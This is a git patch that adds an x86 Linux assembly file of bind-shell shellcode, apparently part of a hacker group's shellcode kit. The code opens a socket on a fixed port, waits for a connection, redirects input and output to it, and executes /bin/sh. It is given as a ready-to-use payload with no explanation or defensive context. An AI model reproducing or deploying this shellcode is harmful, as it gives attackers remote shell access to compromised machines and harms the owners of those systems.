From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_linux/portshell_slice.s | 77 ++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 other/shellkit/x86_linux/portshell_slice.s (limited to 'other/shellkit/x86_linux/portshell_slice.s') diff --git a/other/shellkit/x86_linux/portshell_slice.s b/other/shellkit/x86_linux/portshell_slice.s new file mode 100644 index 0000000..0d4c7b1 --- /dev/null +++ b/other/shellkit/x86_linux/portshell_slice.s @@ -0,0 +1,77 @@ + .globl cbegin + .globl cend + +cbegin: + +/* socket */ + xorl %eax, %eax + cdq + push %eax + incb %al + movl %eax, %ebx + push %eax + incb %al + push %eax + movl %esp, %ecx + movb $0x66, %al + int $0x80 + +/* bind */ + push %edx + pushw $0x7350 + pushw %dx + movl %esp, %edx + + push $0x10 + push %edx + push %eax + movl %esp, %ecx + + incb %bl + movl %eax, %edx + movb $0x66, %al + int $0x80 + +/* listen */ + addb $0x02, %bl + movb $0x66, %al + int $0x80 + +/* accept */ + push %eax + push %edx + movl %esp, %ecx + + incb %bl + movb $0x66, %al + int $0x80 + +/* dup2 fd 0 + fd 1 */ + movl %eax, %ebx + xorl %ecx, %ecx + + movb $0x3f, %al + int $0x80 + + incb %cl + movb $0x3f, %al + int $0x80 + +/* execve shell (by lorian, see execve.s) - slightly modified */ + movb $0x0b, %al + cdq + pushl %edx +/* push $0x68732F6E */ +/* push $0x69622F2F */ + pushw $0x6873 + pushw $0x2f6e + pushw $0x6962 + pushw $0x2f2f + movl %esp, %ebx + pushl %edx + pushl %ebx + movl %esp, %ecx + int $0x80 + +cend: + -- cgit v1.3